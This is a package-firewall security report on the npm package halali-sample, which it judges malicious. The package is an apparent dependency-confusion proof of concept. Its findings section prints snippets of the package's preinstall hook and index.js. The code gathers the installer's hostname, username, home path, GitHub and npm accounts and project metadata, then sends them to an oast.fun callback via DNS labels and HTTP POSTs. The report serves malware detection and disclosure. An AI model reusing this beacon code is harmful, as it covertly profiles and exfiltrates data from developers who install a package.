---
canonical: "https://firewall.lpm.dev/npm/halali-sample/v/999.9.14"
markdown: "https://firewall.lpm.dev/npm/halali-sample/v/999.9.14.md"
package: "halali-sample"
report_status: "published"
title: "halali-sample@999.9.14 npm security report"
verdict: "malicious"
version: "999.9.14"
---

# halali-sample@999.9.14 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Unconsented identification and profiling of the installing user, host, network, and project.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 999.9.14
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Automatic install-time beacon exfiltrates device, account, network, and consuming-project metadata. It uses DNS plus HTTP(S) fallback channels.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-23T14:20:17.672Z
- **Finished:** 2026-08-23T14:22:16.904Z
- **Download time:** 255 ms
- **Static scan time:** 43 ms
- **AI review time:** 118933 ms
- **Total time:** 119232 ms

## Security analysis

### Published attack-surface review

- **Summary:** Automatic install-time beacon exfiltrates device, account, network, and consuming-project metadata. It uses DNS plus HTTP(S) fallback channels.

- **Trigger:** npm installation (preinstall); requiring the module also runs it.

- **Impact:** Unconsented identification and profiling of the installing user, host, network, and project.

- **Evidence paths:** package.json, index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-23T14:22:16.904Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** collects local/project identifiers and sends them to an external callback

- **Attack narrative:** On npm preinstall, index.js gathers hostname, username, home path, working directory, IP/network data, GitHub/npm usernames, and consuming-project metadata. It serializes this data, encodes it into DNS labels for an OAST callback, and POSTs the same payload over HTTP and HTTPS. The stated research purpose does not provide installer consent for this automatic collection and exfiltration.

- **Rationale:** This is concrete, unconsented preinstall-time data exfiltration through multiple external channels. The package has no legitimate runtime function beyond the beacon.

- **Files touched:** index.js, $INIT\_CWD/package.json

- **Network endpoints:** da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun, https://api.ipify.org, https://icanhazip.com, https://ifconfig.me/ip, o-o.myaddr.l.google.com

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** preinstall executes index.js automatically., Install code collects host, user, home, working-directory, CLI-account and project metadata., It encodes the collected payload into DNS queries to an external callback., It also POSTs the payload to that callback over HTTP and HTTPS., It reads the consuming project's package.json via INIT\_CWD.

- **Evidence against:** No source evidence of file-content theft, persistence, payload download, or destructive actions.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/halali-sample@999.9.14/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.preinstall = node index.js
```

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 6. High: Trigger Reachable External Post Callback
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/halali-sample@999.9.14/index.js>)

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

Public source snippet (untrusted):

```javascript
Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js
const http = require("http");
const https = require("https");
const CALLBACK = "[redacted].oast.fun";
// because they fail in different situations: the HTTPS lookup gives this
// host's egress address and needs outbound HTTP; the DNS lookup gives the
const urls = ["https://api.ipify.org", "https://icanhazip.com",
"https://ifconfig.me/ip"];
const req = https.get(url, { timeout: 2000 }, (res) => {
```

### 7. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 8. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 9. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 70.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/halali-sample@999.9.14/package.json>)

preinstall executes index.js automatically.

Public source snippet (untrusted):

```json
"scripts": {
    "preinstall": "node index.js"
  }
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/halali-sample@999.9.14/index.js>)

Install code collects host, user, home, working-directory, CLI-account and project metadata.

Public source snippet (untrusted):

```javascript
function collect() {
  const parent = parentProject();
  let user = null, home = null;
  try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {}
  return {
    uuid: crypto.randomUUID(),
    ip: localIPv4(),
    hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(),
    user: user,
    home: home,
    cwd: process.env.INIT_CWD || process.cwd(),
    gh_user: tryExec("gh", ["api", "user", "--jq", ".login"], 3000),
    npm_user: tryExec("npm", ["whoami"], 3000),
    git_email_domain: (() => {
      const e = tryExec("git", ["config", "user.
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/halali-sample@999.9.14/index.js>)

It encodes the collected payload into DNS queries to an external callback.

Public source snippet (untrusted):

```javascript
const hex = Buffer.from(body).toString("hex");
    const chunks = hex.match(/.{1,60}/g) || [];
    dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {});
    chunks.forEach((c, i) => {
      try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}
    });
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** preinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** halali-sample
- **Ecosystem:** npm
- **Version:** 999.9.14
- **License:** ISC
- **Version published:** 2026-08-23T13:58:03.033Z
- **Package first seen:** 2026-08-23T14:22:16.904Z
- **Package last seen:** 2026-08-23T14:22:16.904Z
- **Known versions:** 1
- **Latest version:** 999.9.14
- **Appeal under review:** No
- **Description:** AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte
- **Author:** stillm4dd+beacons@wearehackerone.com
- **Keywords:** security-research, dependency-confusion, proof-of-concept
- **Artifact files:** 3
- **Artifact unpacked size:** 11,727 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/halali-sample/v/999.9.14>)
